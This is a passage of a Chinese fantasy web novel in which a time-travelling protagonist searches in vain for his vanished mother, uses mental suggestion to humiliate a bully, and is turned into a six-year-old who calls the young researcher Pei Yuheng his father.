魔术师嘟嘟囔囔,“行的吧,你现在准备去哪儿?” 如果不是谢叙白有其他事情要做,按照这人对裴玉衡的在意程度,也轮不到他上场当保镖。 “这你就不需要管了。”谢叙白淡淡地道,“如果你对我感到好奇或者不信任,想要跟踪我,也随意。但只要被我发现一次——” 魔术师神色微变,身体微微绷紧:“你想怎么样?” 无论是谁,在面对威胁的时候都做不到毫无芥蒂,他当然不能免俗。 谢叙白扫一眼魔术师仿佛写满“想跑”的身体,抬了抬眼帘:“我就告诉你的粉丝,真实的你其实是一个什么都怕的胆小鬼。” “……”魔术师好半天才反应过来,懵逼地瞪着他,“???” 无限游戏充斥着尔虞我诈、刀光血影,什么剥皮抽筋、食肉啖血的狠话他都听过,唯独没听过这样儿戏幼稚的威胁。 可就是这幼稚的威胁,让魔术师的心脏忍不住咯噔一下,菊花一紧,连声追问:“不是,我哪里表现得像胆小鬼了?你这又是什么唬小孩的话,在和我开玩笑嘛?不是裴余你站住,把话说清楚!喂——你没开直播吧??” 谢叙白早已走下楼。 他对魔术师算不上完全信任,裴玉衡身上有他施展的精神力保护,规则也会保裴玉衡性命无恙,这才是他放心让裴玉衡一个人回家的原因。 至于现在,他确实要去确认一件重要的事情,没法一直留在裴玉衡的身边。 今日天气明媚,天空湛蓝如洗,万里无云。从昏暗的酒吧走到灿烂的阳光下,难免生出一种恍若隔世的错觉。 谢叙白抬起眼帘,目视眼前高楼林立的世界。 宽敞的沥青混凝土路面车水马龙,葱翠的绿化带沿着街道笔直向前,上班的人群匆匆忙忙地路过,手里拿着最新出的大屏幕手机,各种现代化简洁明了的招牌建筑随处可见。 如果不是谢叙白确定自己穿越到了二十年前,看着眼前的这一切,他会以为自己还留在原来的时间线。 昨晚看着酒吧的规格装潢比较现代化,谢叙白就有所猜疑,如今证实这一点,更是叫他云里雾里摸不着头脑。 是这个世界本来就是虚假的,还是在人们毫无知觉的时候,人类文明和科技出现在了停滞? 无论哪种猜想都让人细思极恐,遍体生寒。 谢叙白拧着眉头想不通,回到过去后,他需要解答的疑惑太多。 原本以为金丝眼镜把他带到这个时期、帮上裴玉衡是歪打正着,现在加上一个有利于调查过去,怎么看都是有意为之。 “谢谢你帮我。”他揉了揉眼镜框,弯眸道谢。 金丝眼镜的反应依然慢吞吞,和冬眠的乌龟似的懒得动弹一下。唯独谢叙白唤它,再怎么懒都要蹭回去。 谢叙白笑了一下,转向这座城市的某一个方向。 他和谢语春女士是本地人,但中途有很长一段时间,谢语春女士似乎是迫于生计,将他带去外省打工。直到对方弥留之际,才又将他带回来。 这时的他还没有出生,但他妈妈尚且健在。 第83章 谁欺负你了 谢叙白循着记忆来到偏僻的老街区。 这里曾经大兴钢铁厂,天空常年笼罩着一层灰蒙蒙的阴翳,飘着灰黑色的烟尘颗粒。 泥石路面凹凸不平,没盖的污水沟环绕楼房周围,臭味扑鼻。破旧楼房挤挤挨挨,砖瓦脱落,缝隙爬满青苔。阴影处传来窸窸窣窣的声响,巴掌大的小影子一溜烟消失不见。 脏乱,贫穷,破旧。 这里的一切都和文明繁荣沾不上边,鸡鸣狗盗的事情更是时有发生,照理说没有什么可怀念的。 但因为有谢语春女士的存在,带给了谢叙白足以支撑整个成长时期的童年支柱。 来到记忆中的老房子前,向来淡定从容的谢叙白,也不免生出一抹近乡情怯的踌躇。 他深吸一口气,抬起手准备敲门。 忽然,屋内传来一阵沉重的脚步声。有人来到门口,手指拨掉门锁上的铁栓,朝外一推。 吱呀—— 随着破木门打开的声响,谢叙白原本有些模糊的记忆,在此时变得清晰无比。 他微微睁大眼睛。 ——门开了,露出一张其貌不扬的脸,肤色蜡黄,眼尾细纹密布。 许是为生计发愁,女人的眼里总是沉淀着一股饱经世事的沉重,却在低头看见他的瞬间,绽开明媚慈爱的笑容:【臭小子!看你身上脏得,又跑到哪儿撒泼去了?】 谢叙白心情激动,忍不住往前一步。 可不等他凑近听明白,就被粗声粗气的男声拽回现实:“你是干啥的?在我家门口晃什么!” 谢叙白猛然回神,对上男人胡子拉碴不修边幅的脸。 面前站着的不是谢语春,是一个完全陌生的糙汉子。 汉子穿着白背心、人字拖,嘴里叼着牙刷,转头将漱口水吐到地上,拿肩膀上的毛巾擦嘴,一股子流里流气:“看你穿得人模狗样,应该不是来偷东西的,找我啥事?” 谢叙白呼吸微滞,错眼看向汉子的身后。 老房子不大,站在门口就能一眼望到底。掉漆的旧衣柜,瘸腿儿的桌子,狭窄的过道堆满杂物,是谢叙白熟悉得不能再熟悉的布局。 他绝对不会认错自己的家。 可里面有且仅有一名成年男性的生活轨迹。 谢叙白猝然产生一股荒谬的猜想,抱着最后一丝侥幸,呼吸急促地询问道:“我来找一个叫谢语春的女人,大概二十七、八岁,这么高,这么瘦,从小住在这一带,她和她爸妈都是附近食品加工厂里的工人,请问您有印象吗?” “谢语春?” 小地方抬头不见低头见,周围住着什么人,都有大概的印象。汉子皱了皱鼻子,果断否认道:“这里有谢大牛、谢家旺、谢淑芬,就没听说过什么谢语春。” “……”不祥的预感被证实,谢叙白用力掐住指尖,借疼痛保持冷静。 宴朔曾给他看过时空之境中的画面,谢语春肯定是存在的,对方没必要骗他。 “那有没有其他叫‘语春’的人?” 汉子显然不是热心肠的性子,不耐烦地道:“想不起来,我等会儿还有事要做,你要是没事别挡——” 话音未落,一沓现金递到他的面前,谢叙白诚恳地请求道:“麻烦你了,她是我很重要的亲人,我必须要找到她。” 汉子眼里映着大红票子,态度立马一百八十度大转变,笑嘻嘻地招呼道:“好说好说,这片儿巷子岔道多,我带你找!” 一整个上午,谢叙白跟着这名汉子把附近找了个遍。 同名“语春”、名字带谐音、同姓谢的,全都找完了,也没有找到疑似谢语春存在过的一丝迹象。 到最后,贪财的汉子也尴尬起来,望着谢叙白再次递出来的现金,摸着后脑勺不好意思接。 “没关系。”谢叙白将钱塞在他手里,一字一顿道,“她以后一定会出现在这里,劳烦您帮我多留意一下,我会再来。” 汉子看着他固执的样子,无奈叹气:“我说小伙子,你该不会是被人骗了吧,又或者听错了地址,要不打个电话再问问?” 谢叙白摇了摇头,没人骗他。他虽然记得谢语春的手机号,但也是他3岁之后换的手机号。 告别汉子,谢叙白望着熟悉的街道,抿着嘴唇,内心掀起翻天覆地的波澜。 小超市、面馆铺子、路边的歪脖子树……所有的一切都符合记忆,唯独没有谢语春这个人。 难道说他妈妈的身份是假的吗? 谢叙白不甘心这么放弃,一定还有什么能证明谢语春的存在。 ——谢语春父母双亡,祖上不详。单亲母亲拉扯半大小子,亲戚都避之不及,怕她上门打秋风。经常换工作地点,也来不及和同事交好。 唯一关系较为紧密的,当属谢叙白仍然人间蒸发的便宜爹,还有裴玉衡。 谢叙白努力回想,眉宇微蹙。 如果他没记错的话,裴玉衡和妈妈久别重逢的第一声,喊的是……师姐? 等一下,师姐? 宛若一声惊雷劈入谢叙白的脑海,撕碎笼在头顶多年的迷雾。 ——高中及以下的同校生,不会喊师姐。就是上了大学,对亲密的高年级校友,喊的也是学长学姐。 ——排除裴玉衡校外找人拜师的可能,思来想去,能正儿八经拜人为“师姐”的场合,只有同一导师名下的实验室。 他妈妈难道是和裴玉衡一样出身名校的高端技术人才? 谢叙白回头看向脏乱破旧的老街区,一瞬间感到不可思议。 这里的环境恶劣到被人轻蔑调侃为“贫民窟”,附近老板把人当牲畜,工价压到月几百还不包吃住,要不是活不下去,谢语春也不会频繁换工作。 不对……谢叙白按着胀痛难受的太阳穴,那股无意接触到禁忌知识的撕裂感,再一次涌了上来! 自精神力提高以来,他已经很久没有体会到这种痛感了,这也间接说明谢语春的身份不简单。 谢叙白咬紧牙关,与疼痛抵抗,绝不罢休。 事关他妈妈,哪怕痛死,他也要追查到底。 现如今唯一能够为他解惑,并帮他找到妈妈的人,只有裴玉衡。 没有迟疑,谢叙白直接动身前往裴玉衡的学校。 作为市立第一的顶尖学府,书香气氛浓郁,来往几乎都是拿着教材书本的学生,不乏有人慕名来这里参观。 学校很大,光专门用来做科研的实验楼就有好几栋。 幸好谢叙白给裴玉衡施展了精神力屏障,入校后能直接感应到对方的具体方位。 他使用金丝眼镜,给自己模拟出一身不起眼的装束,再用精神力暗示,躲过门卫和保安的巡查,直接步入实验楼。 谁知道刚来到裴玉衡的实验室前,就看见本该紧闭的大门打开,一个让人始料未及的男人站在裴玉衡的面前。 五官端正,菱角分明,眉眼粗犷凌厉,给人一股子不好惹的感觉。 是年轻时候的傅倧! 傅倧身穿隔壁实验室的白大褂,挡住裴玉衡的去路,垂着脑袋,不怀好意地说着什么。 而裴玉衡穿着实验服,戴着防辐射护目镜,站在超声波机前专心致志地进行着某项DNA沉淀实验。 两人看似亲密无间无话不谈,实则裴玉衡的额角青筋微鼓,显然实验途中被人打扰让他烦不胜烦。 傅倧见状,不但没有识趣儿地闭上嘴,反而进一步贴在裴玉衡的耳边,意有所指地冷哼道:“昨天徐杨他们邀请你去酒吧,结果你整夜没回宿舍,上午来实验室的时候还差点迟到。他们对你做了什么,嗯?” 裴玉衡闻言一顿,暂停手中的实验,冷眼看过去:“你在监视我?” 傅倧眼神一暗,一把擒住他的手腕,阴晴不定地嘲弄道:“监视?呵!裴玉衡,你是不是觉得自己翅膀硬了,别忘记你不过是我们傅家收养的奴才,主子过问奴才是天经——” 话音未落,谢叙白的精神暗示刺入他的大脑。 【把你的脏手拿开,滚出去。】 裴玉衡不想和他争执,按压自己给人一拳头的冲动,便见眼前嚣张跋扈的男人突然卡壳,像没上发条的机器人,目光呆滞,一卡一卡地往外走。 走到门口时候,傅倧不知道在发什么疯,忽然把身上的白大褂脱下来,攥在手里疯狂甩动,像只猴子似的吱哩哇啦地大叫,绕着实验楼走廊边跑边喊:“我是个仗势欺人的大傻叉——!” “……!”裴玉衡瞳孔地震。 动静闹得非常大,午休回来的人几乎都被吸引过来看热闹。 傅家家大业大,宗族势力盘根错节,傅倧相貌英俊又是本专业高材生,获奖无数,在这所学校也算有头有脸的人物。 见他不分场合发疯,众人瞠目结舌,忍不住交头接耳,指指点点。 认识傅倧的人当场倒吸一口凉气,扑上去摁住人:“傅少?傅少!您清醒点啊!” 裴玉衡恍惚回头,终于注意到站在前门的谢叙白。 霎那间他脚步往后一撤,和走过来的谢叙白划开一条距离的沟壑。 “……?”谢叙白反应过来,哭笑不得地道,“不会这样对你的,放心。” 裴玉衡将信将疑地挪回来。 本来想问谢叙白怎么进的学校,但见人身手不凡,料想也是多此一问。 他迟疑道:“多谢你帮我解围……你是不是有事情找我?” 并条件反射地瞄了眼角落的清洁工具。 说来神奇,裴玉衡做了一晚上大扫除,却不觉得疲惫,反而神清气爽,不知道是不是临走时被金光沐浴过全身的原因。 这人很奇怪,说着横行霸道的话,实际对他处处维护。 谢叙白开门见山道:“我想问你,认不认识一个叫谢语春的人?” 裴玉衡将这个名字咀嚼两遍,十分肯定地摇了摇头:“不认识。” 谢叙白掐着指尖,明白谢语春大概是个假名,继续追问:“那你是不是有个学……” 话音未落,走廊上的吵闹声戛然而止。 一股强大的威压自声源处荡开。 谢叙白心头警铃大作,猛然转身。 一只腐坏青黑的手掌啪一声扣在门沿上,缓缓露出傅倧的半个身子,以及那双因羞恼充血变红的眼睛。 “我是不是给你脸了裴玉衡,你竟然还敢找人来对付我!” 同一时间,留守附近的魔术师借道具目视化身腐尸的傅倧,浮夸地哇哦一声:“试炼开始第二天就惹到精英怪的头上,他是真敢啊。” 但转念一想,自己这个战力榜第五,裴余不也是说惹就惹了吗?区区一个精英怪又算得了什么。 “我是旁观看好戏,还是……”魔术师好以整暇地琢磨着,最后耸了耸肩膀,凭空抽出一张扑克牌,合掌一拍,“算了,看在把柄在你手里的份儿上。” 扑克牌飞射出去,半空中分裂成无数根细长的钢条,灵活穿过人群和建筑,将咆哮的傅倧一下禁锢在原地。 正要动手的谢叙白一顿,似乎意外地望魔术师的方向,颔首:【多谢。】 魔术师心中一乐,大义凛然地摆摆手,忽然他的队友在背后好奇问:“小魔术师,你说有什么把柄落在了谁的手里?” 魔术师差点被呛到:“咳咳!没有没有,是你听错了。对了,你们调查得怎么样?” 队友狐疑地看他一眼,回答道:“我们只能按角色生平轨迹在大概的范围活动,没发现什么异常。但有一件事很让人在意,最新的城市报道称,城南一块爆发恶性传染病毒,有人因退烧不及时造成缺氧性脑死亡,让大家注意防护。” 魔术师神色凝重:“你们密切关注一下,最好找上新闻社问一问详细情况。按照我以往过副本的经验,像这种大型传染病毒,后期很有可能演变成瘟疫。到时候整座城市都会遭殃。” 队友闻言不免有些心惊胆战。 玩家不能出副本规划的范围,如果真的变成一场瘟疫,那他们将逃无可逃,更别提还要遵循角色设定! 魔术师见他神情惴惴,伤心欲绝地作出捧心状:“明明我就在你的面前,却还是让你担心成这样,这是我的不是。” 是啊,有小魔术师在呢。 队友吃下一颗定心丸,连忙否认对方的自暴自弃,又提起一件诡异的事:“还有,我们翻看手机上的日历,找到商店贩卖的日历本,打开电视机和上网搜索,都查不到具体日期。” “就是询问周围的NPC,也只能听见一段杂音,以前从没发生过这种事情。” 魔术师分析道:“那就表示在这个副本中,‘时间’会成为重要的线索,所以才会被系统特意隐藏,不要放弃搜寻。” “是。” 魔术师回头看向谢叙白。 后者不知道从裴玉衡那又获得了什么线索,用精神力将受缚的傅倧拖走处理,再一次消失神隐。 临走前,谢叙白还不忘和裴玉衡强调:“记得把实验室打扫一遍,我回来检查。以后不管在哪,只要是你常待的地方都必须保持干干净净,不能有肉眼可见的灰尘。” 裴玉衡:“……” 为确保对方能够照做,谢叙白重拾恶人嘴脸,淡淡地拍了下被打晕的傅倧:“否则这就是你的下场。” 裴玉衡:“…………”这人刚才还保证不会这么对他。 不想像傅倧一样当众大喊自己是傻叉丢尽颜面,哪怕裴玉衡莫名其妙深感疑惑,也只能忍气吞声地照做。 谢叙白将傅倧丢进游泳池冷静冷静,又给人下达精神暗示,转头去找裴玉衡的两位师姐。 一位已经毕业,就职于知名研发公司。一位接下导师给的课题留在实验室,不过今天有个技术研讨会,她受邀参加,没有回学校。 以防万一,谢叙白还找上了裴玉衡的导师。 导师黑色短发,戴眼镜,看着是个亲切随和的人。 提到裴玉衡的时候,他忍不住揉捏眉心,重重叹气:“以玉衡在校期间获得的奖项,他本来有去全国top1大学继续深造的机会,傅家非要把他留在本市,并且勒令他大学毕业直接进公司研发队,辅佐那位眼高于顶的傅家太子。当初他没办法,求到我这儿,凭我的本事也只能带他到研究生……听说上一次研讨会,省级科技园中有名大佬非常看好他,就看玉衡这次的论文能不能顺利拿到顶刊。” 谢叙白知道,导师嘴里说的没本事,不是学术上的没能力,而是指他顶多在傅家的施压下,让裴玉衡硕士研究生毕业。 能不能彻底摆脱桎梏,还要看裴玉衡自己。 但谢叙白是知道结果的,他清楚裴玉衡最后实实在在地将资格拿到手,却为了救助灾民,放弃从傅家脱身的机会和来之不易的前途。 一直到天色昏暗,谢叙白也没能找到谢语春的影子。 他精疲力竭地回到裴玉衡所在的实验室,发现里面灯火通明,裴玉衡依旧站在各种精密仪器前,认真专注地做着实验。 执意搜寻谢语春的下落,让谢叙白头疼欲裂,他怔愣地看着裴玉衡熟悉的脸庞,很想再追问一句:裴叔叔,你能不能再想想,还有没有别的师姐? 话未出口,裴玉衡先察觉到他的到来。 后者下意识心头一紧,想起之前的威胁,唰一下扫视实验室的干净程度,而后对上谢叙白的眼睛,又忍不住愣了一下。 从见面开始,谢叙白就给他一种神鬼莫测的感觉。 那双眼睛像是一口波澜不惊的古井,只有淡然从容或是深藏于心的算计,叫人哪怕心生亲切,也敬而远之,不敢深交。 此刻,却流露着显而易见的茫然和脆弱,像被爸妈丢掉的小孩,在陌生的街头找不到回家的路。 “……”裴玉衡皱了皱眉头。 这一年对他很关键,要不是突然窥见世界真相冲击到他的三观,到了影响到日常生活的程度,他会熟视无睹。 除此之外,对找茬的傅倧和其他纨绔子弟,他可以一忍再忍,连谢叙白苛刻的要求也能照做。 只为不想节外生枝。 见谢叙白一声不吭,只是看着他,裴玉衡还是暂停了手里的实验,顿了一下,又摘下手套,走过去问:“谁欺负你了?” 第84章 爸爸,你怎么才来呀 ——怎么回事?出了什么问题?你是不是遇到了什么麻烦? 明明有这么多种问法,脱口而出的却是一句:“谁欺负你了?” 谢叙白听出这微妙的关切,忍不住愣了愣。 裴玉衡说完话后也是一怔,不知道怎么的,他刚才下意识把谢叙白当成了小孩,明明前者看起来和他差不多岁数。 谢叙白见状,很快反应过来自己刚才疼晕了头,没能收拾好表情,让裴玉衡看出不对劲。 他当即定了定神:“其实我想问……” 谢叙白当然想继续追问谢语春的下落。 然而话音未落,针刺的疼痛再次袭上大脑。 这种痛感他已经承受了整整一天,层层疼痛叠加到最后,非但没有麻木,反而引起更非人般难以承受的剧痛,宛如尖锐还带倒刺的口器噗呲扎入脑髓,又被千万只蚂蚁啃噬,灵魂都痛到疯狂战栗。 谢叙白闷哼一声,下意识抓住旁边的门沿,指尖因用力而泛白,一张脸更是瞬间失去血色,额上冷汗淋漓。 他妈妈的身份背后不知道牵扯到何其隐晦庞大的秘密,就是当初从宴朔那里获知成神的契机时,他都没有痛成这样。 见谢叙白猛然一踉跄,差点栽倒在地,裴玉衡赶忙伸手搀扶住人,清冷疏离的脸上掠过一抹担忧:“头疼吗?我带你去医院。” 谢叙白按住他的手,摇了摇头:“没事,经常有的小毛病,歇一会儿就好了。” 裴玉衡一辈子自食其力,吃过小病拖成大病的苦,没法认同他这副讳病忌医的态度,顺手拉起谢叙白的胳膊架在肩膀上,想把人直接带去看病。 谢叙白忍着疼痛带来的不适,看向裴玉衡紧皱的眉头,略显恍惚。 他知道自己不能再追查下去了,不然,不止是他恐有承受不住脑死亡的风险,系统或规则也会趁他不备恶意操持其他人或玩家,将裴玉衡再次押入多舛坎坷的命途。 谢叙白垂了垂眼睫,缓上一口气,错眼看向裴玉衡身侧的桌脚:“桌子下面有灰。 这句冷不丁的提醒,直接在裴玉衡的心头打出暴击。 裴玉衡动作一滞,顺着谢叙白的目光,看向死角缝隙里积着的一层黑灰。 这种靠着墙壁和仪器的犄角旮旯,八百年不见得被人看一眼。 关键它只有头发丝的粗细,裴玉衡打扫的时候试过用笔芯、棉签、竹签,都挤不进去。 这些高精度仪器非常贵重,价格随随便便上七位数,随便磕着碰着哪一台,裴玉衡都赔不起,也不敢给它们轻易挪地方。 谢叙白推了推眼镜,一脸不留情面:“棉签伸不进去,你就没想过用纸张或更细的针伸进去,慢慢往外刮吗?说到底还是不用心。” 裴玉衡:“……” 何其无理取闹、蛮横无理、没事找事、胡搅蛮缠的嘴脸。 谢叙白催促道:“只此一次下不为例,快去收拾了,除非你想像傅倧一样学猴叫。” “……”裴玉衡看了看自己扶着谢叙白的手,冷着脸唰一下松开,去打印机那里拿A4纸。 他真的多余操心这人的安危。 结果手刚放在打印机上,裴玉衡忽然听见身后传来嗙的一声闷响。 谢叙白眼前一黑,半截身体砸在桌子上。胳膊肘抵着墙壁勉强站稳,衣服逐渐被冷汗浸透,湿答答冷冰冰地贴在后背。 他当过几天医生,不用检查都知道自己现在的状况不好,非常不好。 ——是他的问题,不应该为找不到谢语春情绪不稳失去理智,又因为执意寻人而将精神力挥霍大半。 原本谢叙白还担心怎么回去,结果现在精神力消耗殆尽,无形的排斥力如惊涛骇浪扑面而来,要不是他意志力坚强,分分钟会被驱逐出这个不属于他的时空。 简直是屋漏偏逢连夜雨! 得快点想想办法。 谢叙白的意识都有点模糊了,用力按着太阳穴。 不能叫醒小一。 一方面是怕小家伙担心焦急,另一方面小一的能力重在摧毁,帮不了他,这个副本也不一定能承载小一的威压。 眼镜会不会有办法? 在宴朔的众多精神体分身中,只有金丝眼镜不会整天想着吃掉他,看上去远比其他分身稳重靠谱。 谢叙白动了动手指,搭在金丝眼镜的边框上,结果心里酝酿的请求还没说出口,就被眼镜顶着指腹蹭了一下。 【放心睡一觉。我保证在你睁眼时,一切如常。】 哪怕是心声,也有声线和音调。这一句安抚,低沉且富有磁性,稳若泰山不容置疑,像极宴朔本人的声音。 谢叙白有种很奇妙的感觉。 即便是昏昏沉沉,他的脑子里依然塞满诸多顾虑。 魔术师的傀儡还留在附近,裴玉衡身边的玩家人数尚且不明,被丢在游泳池的傅倧会不会挣脱精神暗示转过头来打击报复,这场试炼要怎么破解,裴玉衡的命运要怎么改变,如果回去晚了平安他们会不会担心…… 甚至有很多顾虑属于谢叙白心思敏感杞人忧天,没人可以分担,他也不放心全权交给其他人。 直到金丝眼镜和他说,放心睡一觉。 ——今晚是个平安夜,醒来后一切如常。 不会有突如其来的变故造成更严重的灾难,不会有谁死去或受伤,更不会有无法挽留的遗憾。 这一刻,谢叙白的所有顾虑和心惊胆战,仿佛都有了可以依托的依仗。 他迟疑着、纠结着,踌躇不定。 最终谢叙白打起精神,搬来一把椅子,往后靠上椅背。 这个姿势不会让他进入深度睡眠,就算有什么动静也能马上起来。 “我眯一会儿,等下你做完清洁叫醒我,如果我没醒,就直接关灯离开,不用理会。” 说完,谢叙白将手指搭在金丝眼镜上,无意识地摩挲着,缓缓合上疲惫的眼帘。 见对方很快自我调理好,脸上逐渐恢复红润的血色,似乎没有什么大碍,裴玉衡迈出去的脚又收了回去。 他摇了摇头,心想他一个凡夫俗子,担心这些能人异士,真是在瞎操心。 扭头看着手里的A4纸,裴玉衡又忍不住皱起眉头,略显烦躁地揉捏眉心。 一个区域的大扫除做起来可不容易,何况谢叙白不准其他人搭手,要求还分外严苛,这样折腾下去不知道要耽误多少实验进度。 但是裴玉衡所见的诡异非同小可,他需要谢叙白的真相,最好能顺利拿到应对的办法,不然接下来的时间,他别想专心研究。 想到这里,裴玉衡轻轻叹了口气。 他也算打扫出新的心得,知道只用纸刮不干净陈年灰垢,转身去拿清洁剂,润湿纸张的下半部分。 这样做,可以借干燥的上半部分插入缝隙,又把水润的下半部分压成类似湿纸巾的软态。需要注意的是,湿掉的纸容易破裂烂掉,如果堵在缝隙里更不好清理,需要极其小心。 裴玉衡挨着谢叙白半蹲下身,小心且仔细地清理着,逐渐变得投入专注,没有注意周围的变化。 好不容易清理完,裴玉衡对着干净的缝隙,轻舒一口气。 他撑起身,抬起头,冷淡的眸子瞥过眼前睡得正熟的小男孩,转身…… “??” 裴玉衡猛然转头,再度瞳孔地震。 椅子上的谢叙白不见了,蜷着的是一个小孩,脸上戴着相同的金丝眼镜,长得唇红齿白,粉雕玉砌,身子骨却是一反常态的消瘦孱弱。 解除模拟后,小孩身上的衣服也变回了白大褂。 这衣服本就宽大,穿在小孩的身上,直接变成披盖的小被子,被他仿佛没有安全感地拿小手揪住一角,往怀里扯扯,把半个脑袋埋进去。 裴玉衡怀疑自己看花了眼,捏按眉心好几下,再睁眼还是幼年版的谢叙白,看样子最多不过六岁! 金丝眼镜明白“谢叙白如果不能停下思考,就不可能休息好”的道理。 它干脆直接为人开启“节能模式”,让人的思维和记忆暂时停留在不需要深思熟虑的六岁,既能放松身体,也能节省精神力的消耗。 末了,它蹭一蹭睡得正香甜的小崽,如承诺的那般,撑开防玩家窥探的隐形屏障,无声侵入副本规则,让一切动荡在今晚姑息。 做完这些,也到了金丝眼镜的极限。它的眼镜框悄然裂开一个细微的口子,又被拟态遮住。 眼镜需要修养,于是它陷入浅眠。事了拂衣去,深藏功与名,留下一个满脑子晴天霹雳的裴玉衡。 这是在玩什么新花招吗,还是对方的身体确实出了状况? 裴玉衡瞪着面前的小孩,想把人叫起来,伸出手却不知道该往哪儿放。活了二十多年,头一次有种无从下手的感觉。 正当这时,蜷在椅子上的小孩似乎被冷硬椅面硌得不舒服,无意识翻了个身。 “唔……” 见他快要摔到凳子下去,裴玉衡一惊,顾不得多想,伸手把小孩拽住。 小孩被拽醒了。 他哼哼两声,眼睛半睁不睁,迷迷糊糊地揉一揉被拽疼的地方。 又打了个哈欠,揉揉眼,睁开,一双惺忪睡眼笼着雾蒙蒙的水花儿,仰头瞧着杵在面前的裴玉衡,睁着眼珠子努力分辨他是谁。 谢叙白变小,完全超出裴玉衡的认知,被这丁点儿的小崽子打量着,更让他头皮发麻。 对方还记不记得他?他需不需要自我介绍?这家伙的智力会不会跟身体一块退化?他该送这小孩去警局还是福利院? 紧接着,更超出裴玉衡认知的事情发生了。 只见小孩看着他,看着他,黝黑透亮的眼睛唰一下笼上更厚重的雾水,眼眶一下子就红了,豆大的泪水吧嗒吧嗒往下掉。 好久没看过小孩子哭的裴玉衡属实是慌了,连忙从桌上抽出纸巾,手忙脚乱地给他擦眼泪:“别哭,别哭,告诉我你怎么了?” 小孩不叫也不闹,只安安静静地咬着唇,一个劲儿地掉眼泪,仰着脑袋,目不转睛地看着裴玉衡。 他握住裴玉衡伸过来的手。 瘦瘦、漂亮的手,但是很有力气,可以一下子抱起他。 小叙白的记忆还停留在肮脏漏风的水泥桶里,他蜷在里面,冷得直哆嗦,用力捂着的肚子饿得痛,嘴巴渴到要冒烟。 可握着裴玉衡的手,他几乎一下子想起盛夏那天吃到的雪糕。巧克力味,甜甜的,冰冰凉凉。 背靠着的胸口结结实实,染着清清浅浅的松柏香。 是真实的裴叔叔,不是想象出来的裴叔叔。 妈妈说,如果她离开了,裴叔叔就是他的爸爸,是可以依靠的人。 是爸爸呀。 好半天,小叙白才从嗓子里挤出一句细若蚊蝇地抽噎。 “裴叔叔……爸爸……呜……” “妈妈变成了星星,我追在车子后面,追不上她。好多叔叔阿姨想带我走,我说你会来的,他们不相信,要抓我走。” “我藏在衣柜里,小树林,管子里,可是你一直不来,最后连隔壁的李奶奶都不信我了,要抓我跟他们走。” 小叙白不肯放开裴玉衡的手,泪水糊了眼睛,叫他看不清裴玉衡的脸。他慌张地支起胳膊擦眼泪,哪知道眼泪越擦越多,声音也愈发哽咽。 “我等了你好久好久。” “你怎么才来呀……” 第85章 设定二:重度强迫症…… 听着小叙白的哭诉,裴玉衡一颗能同时跟进五组样本数据、重组逻辑画图、心算核对参数并分类规划变量的大脑,“嗡——”的一声搅成一团。 眼前的小孩像是水做的,还是烧开一百多度的水,红着眼睛,眼泪流个不停,圆滚滚的泪水啪嗒落在他的手背上,烫得他手指不稳一颤。 他甚至顾不上小叙白说的什么,全程都在手忙脚乱地扯纸巾,又是笨拙地安慰,又是耐着性子温言细语地劝哄。 小叙白其实不爱哭,三岁之后,他一年哭的次数一只手都数得过来。躲那些人的时候不小心摔一跤,腿磕青了,胳膊撞肿了,也只是咬住后槽牙爬起来,牟足全力跌跌撞撞地继续跑,没吭一声。 冷风灌入藏身的水泥桶,他对着冻僵的小手哈一口热气,闷咳几声,缩进衣服里捂热,不再做着被裴玉衡带走的美梦。 却没想到,在彻底不抱希望后,居然会睁眼看见裴玉衡的脸。 于是所有的固执、忍气吞声和强撑坚强都在这一刻化为乌有,他终于可以坦然光明地宣泄自己的委屈和难过。 后面小叙白哭得直抽抽,开始打嗝,裴玉衡慌张地给他拍背顺气,听到孩子喊渴,又转头去接温水。 结果没走几步,就被小叙白两三步追上来,拽住实验服,一把抱住。 裴玉衡有种被小熊猫扑了腿的感觉。 成人能穿的白大褂和裤子大了小叙白整整三圈,此刻像被弄乱的毯子般缠在这小孩的脚下,如果被他拽着往前走,估计会摔倒。 于是裴玉衡便将小叙白抱了起来。 刚才哭得没完没了的小家伙,此时却安安静静,非常乖,两只手臂紧紧地圈住他的脖子,脑袋蹭着他的肩膀,偶尔才因为止不住哭嗝儿,小小地哆嗦一下。 裴玉衡也有点无所适从,他不知道小孩子的身体居然可以这么轻,这么软。 明明没抱过小孩子,接触也少,两只手却先娴熟地动了起来。 手臂托着小叙白的屁股往上垫一垫,搂住膝盖弯儿,再把裤子给崽提一提,宽大的白大褂折叠两次,干脆当被子裹住崽的身体。 饮水机就在前方,裴玉衡调试好水温,递给小叙白。 小叙白乖生生地接过,说了句谢谢爸爸。 裴玉衡脚步刹停! 他宕机的大脑终于反应过来,为什么刚才他的脑子会被震得嗡嗡响,全然是被小叙白的这一声爸爸给叫懵了。 足足好几秒,裴玉衡都没能说得出来话,半响才硬着头皮求证道:“你刚才叫我什么?” 他学生时代经历过几次跳级,考上研究生时还不到二十岁,傅家也是看他天赋出众,才乐意把他收为养子,资助他上学。 换句话说,如今二十一岁的他,怎么可能拥有一个六岁大的崽? 他甚至没有牵过同龄异性的手。 “……爸爸?”敏感地察觉出裴玉衡的情绪有异,小叙白明显惶恐起来,“你不喜欢我这么叫你吗?” 听小孩说话带着颤音,裴玉衡连忙断然否认:“不是。” 他想起徐杨(魔术师)叫过谢叙白的名字,裴余,和他同姓,就忍不住头皮一麻,连忙将小孩放下来,搜衣服里有没有什么身份证明,拿出一部手机和一个钱包。 手机有密码锁,不能扫脸或指纹解锁,从外表看不出什么型号。钱包里只有一寸证件照,和一沓现金。 现金是谢叙白特意准备的,以防手机受到磁场干扰的时候没钱付账。但他今天拜托汉子帮他找人时,给的是从魔术师那薅来的钱,没有用这沓现金。 裴玉衡也很快注意到了这沓现金的问题,他盯着纸币上的序列号,快速来到电脑前,核对后震惊地发现,这些钱的发行日期大部分在十多年后,有些则有二十多年! 他又从水印、安全线、荧光反应等一一验证,不看那离谱的发行编号,绝对是真钞。 甚至发行编号都算不上离谱,因为如果谢叙白有能力以假乱真,凭那人可以一眼扫见死角污渍的敏锐意识,也不应该留下这么大的漏洞。 裴玉衡僵在原地,一个不可思议的想法在脑子里成型。 ——难道说裴余来自二十多年后的未来,是他的儿子? 毕竟亲眼见识过傅倧他们变成腐尸,再怎么离奇逆天的事情,好像都有发生的可能,比如穿越时空。 只是这么一想,裴玉衡好不容易恢复理智的大脑又要死机了,他听见自己声线不稳地问出声:“好孩子,你的妈妈叫什么名字?” 小叙白有点茫然:“爸爸你不记得了吗?妈妈叫谢语春。” 谢语春,正是谢叙白之前和他打探过的人名。 当时谢叙白问得很着急,对那人的在意程度不言而喻,如果是想要再见一面逝世的亲人,那就说得通了。 